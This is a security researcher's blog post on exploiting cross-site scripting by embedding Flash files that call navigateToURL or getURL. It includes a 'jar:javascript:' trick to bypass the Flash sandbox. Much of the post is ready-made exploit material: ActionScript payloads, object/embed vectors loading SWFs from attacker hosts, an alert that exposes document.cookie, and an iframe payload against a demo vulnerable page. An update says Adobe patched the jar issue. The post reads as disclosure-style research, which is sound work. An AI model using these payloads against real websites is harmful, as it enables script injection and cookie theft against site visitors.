I am going to explain how to exploit a Cross Site Scripting vulnerability by embedding a flash file in a vulnerable website by using navigateToURL or getURL. This is a known technique but I want to introduce a new method to exploit the target more efficiently. This method can be useful when you have some restrictions and you cannot inject a JavaScript directly into the page.

First of all, I am going to explain how it is possible to do this normally and then I will try to make my vector as short as possible.

Using “allowScriptAccess” (normal method):

Here is the code that we need to run JavaScript from our flash file by using URL redirection:

ActionScript 3 code (http://0me.me/demo/xss/flash/normalEmbededXSS.swf):

navigateToURL(new URLRequest("javascript:alert(document.domain);"),"_self");

ActionScript 2 code:

getURL("javascript:alert(document.domain)","_self");

And here is the HTML code in which we need to embed this flash file:

<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowScriptAccess" value="always" /><param name="src" value="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="http://www.attacker.com/testme/flashtest/normalEmbededXSS.swf" allowScriptAccess="always" /></object>

Test URL: http://jsfiddle.net/4F5b2/

It is also possible to rewrite the HTML file as follows to make it as short as possible:

<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="src" value="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//www.attacker.com/testme/flashtest/normalEmbededXSS.swf" />

Test URL: http://jsfiddle.net/UDeE8/

However, this vector will not work in IE as it causes a “Security sandbox violation” error (you can use the debugger version of Flash player to see the error messages). Instead we can use EMBED tag as follows:

<object width="320" height="240" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowscriptaccess" value="always" /><param name="src" value="//0me.me/demo/xss/flash/normalEmbededXSS.swf" /><embed width="320" height="240" type="application/x-shockwave-flash" src="//0me.me/demo/xss/flash/normalEmbededXSS.swf" allowscriptaccess="always" /></object>

Test URL: http://jsfiddle.net/pEFan/

Exploiting XSS without using allowScriptAccess – bypassing flash Security Sandbox:

There can be a valid scenario in which you can only control the address of an embedded SWF file in victim’s website or there are some length restrictions and we cannot use “allowScriptAccess”! I came across this scenario recently in @rafaybaloch and @prakharprasad #1 XSS challenge: http://rafay.prakharprasad.com/

If we do not use “allowScriptAccess”, we can make our vector as short as possible but it will cause a “Security sandbox violation” error for two reasons:

1: Target page in navigateToURL or getURL cannot be set to null/empty, “_self”, “_parent”, and “_top”.

Example:

ActionScript 3 code (http://0me.me/demo/xss/flash/targetSelf_destGoogle_embededXSS.swf):

navigateToURL(new URLRequest("http://google.com/"),"_self");

Test URL: http://jsfiddle.net/sWk37/

2: We cannot use “JavaScript:” protocol for redirection.

Example:

ActionScript 3 code:

navigateToURL(new URLRequest("javascript:alert(document.domain);"),"testme");

Test URL: http://jsfiddle.net/9wGMM/

Resolving the first issue is not difficult. If we use an arbitrary name as the target page, it will open our JavaScript in a new page which uses the same window origin as its opener and this is what we need! It is also possible to set a name for the victim’s website when we want to open it by using different techniques (such as IFrame name, window.open, anchor’s target, form’s target and so on) and set the target name to the same name in our Flash file. I will show you an example later.

Overcoming the second issue is even easier! We can use “JAR:” protocol before “JavaScript:” to bypass Flash Sandbox protection (http://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/).

Based on these solutions, our Flash file would be like this:

ActionScript 3 code (http://0me.me/demo/xss/flash/embededXSS.swf):

navigateToURL(new URLRequest("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);"),"testme");

ActionScript 2 code:

getURL("jar:javascript:alert('domain: '+document.domain+'\\r\\nCookies: '+document.cookie);","testme");

Let’s Finish It!

I have a vulnerable page which is located in:

http://www.sdl.me/xssdemo/xss.asp?input=XSS_goes_here

If we do not use a name for the victim’s website, it is only exploitable in Mozilla Firefox:

http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf> – Firefox only

We can still exploit this in other browsers if we use a name (“testme” in our example) to open the vulnerable file. Here is an example:

<iframe name="testme" src="http://www.sdl.me/xssdemo/xss.asp?input=<embed src=http://0me.me/demo/xss/flash/embededXSS.swf>" height="240" width="320"></iframe>

Test URL: http://jsfiddle.net/FUfrc/

Please note that the OBJECT tag could also be used instead of EMBED with the same result.
 

Important Update: Adobe Flash has been patched to close JAR protocol issues forever! (http://helpx.adobe.com/security/products/flash-player/apsb14-02.html)